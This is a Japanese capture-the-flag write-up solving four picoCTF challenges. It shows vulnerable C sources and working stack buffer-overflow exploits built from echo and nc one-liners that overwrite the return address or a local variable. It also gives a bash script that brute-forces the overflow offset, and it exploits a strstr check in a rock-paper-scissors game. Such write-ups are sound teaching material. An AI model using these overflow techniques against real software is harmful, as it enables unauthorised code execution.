vuln()関数は gets()でユーザーの入力を受け取る。ユーザーがデータを入力するとget_return_address()によって戻りアドレスが出力される。

ソースコードの冒頭にはwin()という関数が定義されている。win()flag.txtからフラグを読み出して出力する。しかし、win()はプログラム中では呼び出されていないので、普通にプログラムを実行しただけではフラグを取ることはできない。

ここで、もう一度vuln()に注目する。vuln()gets()でユーザーの入力を受け取るのだが、gets()はバッファオーバーフローに対して脆弱である。

よって、gets()をオーバーフローさせてwin()へ処理を飛ばすことが出来ればフラグを取れる。

gets()をオーバーフローさせてwin()を呼び出すためのエクスプロイト・コードの構成は以下のようになる。

[bufのバッファサイズ 32バイト (define BUFSIZE 32)] + [EBPポインタのサイズ 4バイト] + [win()のアドレス 4バイト]

gets()の受け取るバッファbufの先頭36バイトをゴミ・データで埋め尽くして、win()のアドレスを渡してやればwin()へ処理を飛ばすことができる。

アセンブリを確認したところ、win()のアドレスは0x080491f6であることが分かった。(冒頭で述べたように今回のバイナリはPIEが無効化されているので、アドレスは固定である。)

$ objdump -d -M intel vuln | grep win
080491f6 <win>:
 804922c:	75 2a                	jne    8049258 <win+0x62>

ローカルマシンにダミーのflag.txtを用意して検証してみた。

以下のエクスプロイト・コードでフラグを読み取ることができた。

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6\x91\x04\x08' | ./vuln

$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6\x91\x04\x08' | ./vuln
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
picoCTF{dummy}
Segmentation fault (core dumped)

ダミーのflag.txtからpicoCTF{dummy}というダミーのフラグが読み出されているのが確認できる。

ちなみに最初はpython3 -c 'print("a" * 36 + "\xf6\x91\x04\x08")' | ./vulnで試してみたのだが、上手くエクスプロイト・コードがプログラムに送られなかった。

エクスプロイト・コードを遠隔のサーバーに送ったところ、フラグを取れた。

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6\x91\x04\x08' | nc saturn.picoctf.net 54761
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6\x91\x04\x08' | nc saturn.picoctf.net 54761
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
picoCTF{ad<REDACTED>70}

※サーバーのポート番号はサーバー・インスタンスの起動の度に変更される。
※タイミングによってはエクスプロイト・コードを送っても一発ではフラグが読み出されない場合がある。その場合、フラグが読み出されるまでエクスプロイト・コードを送り続ける必要がある。

RPS (200points)

遠隔のサーバー上で実行されているプログラムの不備を突いてフラグを取得する問題。

プログラムのソースコードgame-redacted.cを渡される。

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60



static const char* flag = "[REDACTED]";

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;
    
    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }
    
    
    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


bool play () {
  char player_turn[100];
  srand(time(0));
  int r;

  printf("Please make your selection (rock/paper/scissors):\n");
  r = tgetinput(player_turn, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}


int main () {
  char input[3] = {'\0'};
  int command;
  int r;

  puts("Welcome challenger to the game of Rock, Paper, Scissors");
  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
  puts("Are you ready?");
  
  while (true) {
    puts("Type '1' to play a game");
    puts("Type '2' to exit the program");
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
    
    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
      
    } else if (command == 1) {
      printf("\n\n");
      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

      if (wins >= 5) {
        puts("Congrats, here's the flag!");
        puts(flag);
      }
    } else if (command == 2) {
      return 0;
    } else {
      puts("Please type either 1 or 2");
    }
  }

  return 0;
}

上記は簡単なジャンケン・ゲームのプログラムである。プレーヤーはrock/paper/scissorsのいずれかを入力し、5回連続で勝てばフラグを読み出せる模様。

このプログラムにはいくつか不備がある。

まずはジャンケンの勝利判定のロジックである。以下は問題のコード部分。

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }

プレーヤーの入力したジャンケンの手とコンピューターのジャンケンの手をstrstr()で検証し、結果が真だった場合、プレーヤーの勝利となる。

strstr()str1の中で最初に現れるstr2の位置を返す。str1の中にstr2が見つからなかった場合はNULLを返す。今回の場合、str1はプレーヤーのジャンケンの手 (player_turn)を指し、str2はコンピューターのジャンケンの手 (loses[computer_turn])を指す。

strstr(player_turn, loses[computer_turn])

配列loses[]はプログラムの冒頭で定義されている。

char* loses[3] = {"paper", "scissors", "rock"};

そして、このプログラムはプレーヤーがrock/paper/scissorsのいずれかを入力することを想定しているものの、入力値のチェックを行なっていない。
なのでジャンケンの手としてrock/paper/scissorsの3つの手をまとめて入力できてしまう。

すると、どうなるか。

strstr('rock/paper/scissors', loses[computer_turn])

コンピューターのジャンケンの手 (str2)はランダムで決定されるが、プレーヤーの手 (str1) は3つ全ての手を含んでいるためstrstr()の判定は常に真となり、常にジャンケンに勝つことができる。

ジャンケンの手としてrock/paper/scissorsを5回連続で入力したところフラグを取れた。

Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: paper
You win! Play again?
Congrats, here's the flag!
picoCTF{50<REDACTED>8}

clutter-overflow (150points)

遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。

プログラムの実行ファイルchallとソースコードchall.cを渡される。

challは64ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。

$ sudo checksec.sh --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   69 Symbols	  No	0		2		chall

続いてソースコードchall.cを確認してみた。

#include <stdio.h>
#include <stdlib.h>

#define SIZE 0x100
#define GOAL 0xdeadbeef

const char* HEADER = 
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \\ ^ _ ^ / |                | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | //  | /_\\ ^| |   ____  ____   | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|\n"
"| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| /     (   \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \\|^ ^|\n"
".-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |\n"
"|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|==                    =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"  \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";

int main(void)
{
  long code = 0;
  char clutter[SIZE];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);
 	
  puts(HEADER); 
  puts("My room is so cluttered...");
  puts("What do you see?");

  gets(clutter);


  if (code == GOAL) {
    printf("code == 0x%llx: how did that happen??\n", GOAL);
    puts("take a flag for your troubles");
    system("cat flag.txt");
  } else {
    printf("code == 0x%llx\n", code);
    printf("code != 0x%llx :(\n", GOAL);
  }

  return 0;
}

このプログラムはユーザーからの入力を受け取った後、変数codeと変数GOALの値を比較し、両者が一致した場合はflag.txtからフラグを読み出す。

変数codeの初期値は0 (long code = 0;) で、変数GOALの値は0xdeadbeef (#define GOAL 0xdeadbeef) である。

普通にプログラムを実行しても変数codeの値はユーザーからは書き換えられないので、フラグを読み出すことは出来ない。

しかし、このプログラムはユーザーからの入力をgets()で受け取っている。

gets(clutter);

gets()はバッファオーバーフローに対して脆弱なので、gets()をオーバーフローさせて変数codeの値を0xdeadbeefに書き換えることが出来ればフラグを取れる。

ユーザーの入力を格納するバッファclutterは最大で256バイトのデータを受け取れる。

#define SIZE 0x100
.
.
.
char clutter[SIZE];

よって、gets()をオーバーフローさせて変数codeの値を書き換えるためのエクスプロイト・コードは以下のような構成になる。

[clutterのバッファサイズ 256バイト] + [RBPポインタのサイズ 8バイト] + [0xdeadbeef 4バイト]

ローカルマシンにダミーのflag.txtを用意して検証してみた。

以下のエクスプロイト・コードでフラグを読み取ることができた。

echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" | ./chall

$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" | ./chall
 ______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \ ^ _ ^ / |                | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | //  | /_\ ^| |   ____  ____   | | ^ |
|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|
| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| /     (   \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \|^ ^|
.-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |
|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\ |^ ^|
| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|==                    =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""  
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
picoCTF{dummy}

変数codeの値が0xdeadbeefに書き換えられ、ダミーのフラグpicoCTF{dummy}が読み出されているのが確認できる。

続いて同様のエクスプロイト・コードを遠隔のサーバーに送ってみたのだが、エクスプロイトは成功したのに何故か肝心のフラグが読み出されなかった。

$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" | nc mars.picoctf.net 31890
 ______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \ ^ _ ^ / |                | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | //  | /_\ ^| |   ____  ____   | | ^ |
|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|
| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| /     (   \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \|^ ^|
.-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |
|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\ |^ ^|
| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|==                    =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""  
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0xdeadbeef: how did that happen??
take a flag for your troubles

色々試した結果、picoCTFのWebshellターミナルからエクスプロイト・コードを送ったところフラグが読み出された。

username-picoctf@webshell:~$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" | nc mars.picoctf.net 31890
 ______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \ ^ _ ^ / |                | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | //  | /_\ ^| |   ____  ____   | | ^ |
|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|
| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| /     (   \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \|^ ^|
.-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |
|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\ |^ ^|
| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|==                    =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""  
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
picoCTF{c0<REDACTED>3r}

buffer overflow 2 (300points)

遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。

プログラムの実行ファイルvulnとソースコードvuln.cを渡される。

vulnは32ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。

$ sudo checksec.sh --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   77 Symbols	  No	0		3		vuln

続いてソースコードvuln.cを確認してみた。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

上記のプログラムではユーザーの入力をバッファオーバーフローに対して脆弱なgets()で受け取る。

gets()をオーバーフローさせて、win()関数を0xCAFEF00D0xF00DF00Dという引数つきで実行することが出来ればフラグを取れる模様。

win()のアドレスは0x08049296である。

$ objdump -d -M intel vuln | grep win
08049296 <win>:
 80492cc:	75 2a                	jne    80492f8 <win+0x62>
 8049313:	75 1a                	jne    804932f <win+0x99>
 804931c:	75 14                	jne    8049332 <win+0x9c>
 804932d:	eb 04                	jmp    8049333 <win+0x9d>
 8049330:	eb 01                	jmp    8049333 <win+0x9d>

ひとまず、gets()を何バイト オーバーフローさせればwin()に制御を移すことができるか確認してみることにした。

以下のスクリプトを書いて実行した。

#!/bin/bash


## A super lazy script to perform stack buffer overflow and overwrite EIP

target_program='./vuln'
target_address='\x96\x92\x04\x08'
#targe_server='nc example.com 8888' ## Uncomment this section if the target program is hosted on remote server.

for i in {1..300};
	do
		echo $i
		garbage_data=$(yes 'a' | head -n $i | tr -d '\n')
		echo "Sending exploit: $garbage_data$target_address"
		echo -e $garbage_data$target_address | $target_program
		#echo -e $garbage_data$target_address | $target_server
	done

以下、実行結果。

./stack_smasher.sh | grep -C 5 'flag.txt'

$ ./stack_smasher.sh | grep -C 5 'flag.txt'
./stack_smasher.sh: line 10: 74960 Done                    echo -e $garbage_data$target_address
     74961 Segmentation fault      (core dumped) | $target_program
./stack_smasher.sh: line 10: 74967 Done                    echo -e $garbage_data$target_address
     74968 Segmentation fault      (core dumped) | $target_program
./stack_smasher.sh: line 10: 74974 Done                    echo -e $garbage_data$target_address
     74975 Segmentation fault      (core dumped) | $target_program
./stack_smasher.sh: line 10: 74981 Done                    echo -e $garbage_data$target_address
     74982 Segmentation fault      (core dumped) | $target_program
./stack_smasher.sh: line 10: 74988 Done                    echo -e $garbage_data$target_address
     74989 Segmentation fault      (core dumped) | $target_program
./stack_smasher.sh: line 10: 74995 Done                    echo -e $garbage_data$target_address
     74996 Segmentation fault      (core dumped) | $target_program
./stack_smasher.sh: line 10: 75002 Done                    echo -e $garbage_data$target_address
     75003 Segmentation fault      (core dumped) | $target_program
./stack_smasher.sh: line 10: 75009 Done                    echo -e $garbage_data$target_address
     75010 Segmentation fault      (core dumped) | $target_program
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��
112
Sending exploit: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08
Please enter your string: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��
Please create 'flag.txt' in this directory with your own debugging flag.

win()は最初にflag.txtがシステム上に存在するか確認し、存在しない場合はPlease create 'flag.txt' in this directory with your own debugging flag. というメッセージを表示する。つまり、gets()をオーバーフローさせ、このメッセージが表示されればwin()に制御が移ったと判断できる。

上記のスクリプトの実行結果より、gets()が受け取るbufバッファの先頭112バイトを埋め尽くした後、win()のアドレス 0x08049296を渡すとwin()を呼び出せることが分かった。

以下はgets()をオーバーフローさせてwin()を呼び出すためのエクスプロイト・コードである。

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08' | ./vuln

しかし、今回はwin()0xCAFEF00D0xF00DF00Dという引数つきで実行しなければならないため、上記のエクスプロイト・コードにもう一工夫加える必要がある。

以下はwin()がcallされた時のスタック内部の図である。

              Low Address

+----------------------------------------------+
|              return address                  |
+----------------------------------------------+
|                   arg1                       |
+----------------------------------------------+
|                   arg2                       |
+----------------------------------------------+

             High Address

まず、win()のcall命令の直前に第二引数と第一引数がスタックに積まれる。そしてcall命令が実行されると、スタックの最上位にはwin()の実行が完了した後の次の命令のアドレスがリターンアドレスとして積まれる。

よってgets()をオーバーフローさせてwin()0xCAFEF00D0xF00DF00Dという引数つきで実行するためのエクスプロイト・コードは以下のような構成になる。

[ゴミ・データ 112バイト] + [win()のアドレス 0x08049296 4バイト] + [リターンアドレス 4バイト] + [第一引数 0xCAFEF00D 4バイト] + [第二引数 0xF00DF00D 4バイト]

以下が実際のエクスプロイト・コードである。※今回はwin()が実行された後はプログラムの実行を続ける必要がないため、リターンアドレスの領域はaaaaで埋め尽くした。

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' | ./vuln

ローカルマシンにダミーのflag.txtを用意して検証してみた。

$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' | ./vuln
Please enter your string: 
��aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��aaaa
picoCTF{dummy}
Segmentation fault (core dumped)

ダミーのフラグpicoCTF{dummy}が読み出されているのが確認できる。

同様のエクスプロイト・コードをサーバーに送ったところ、フラグを取れた。

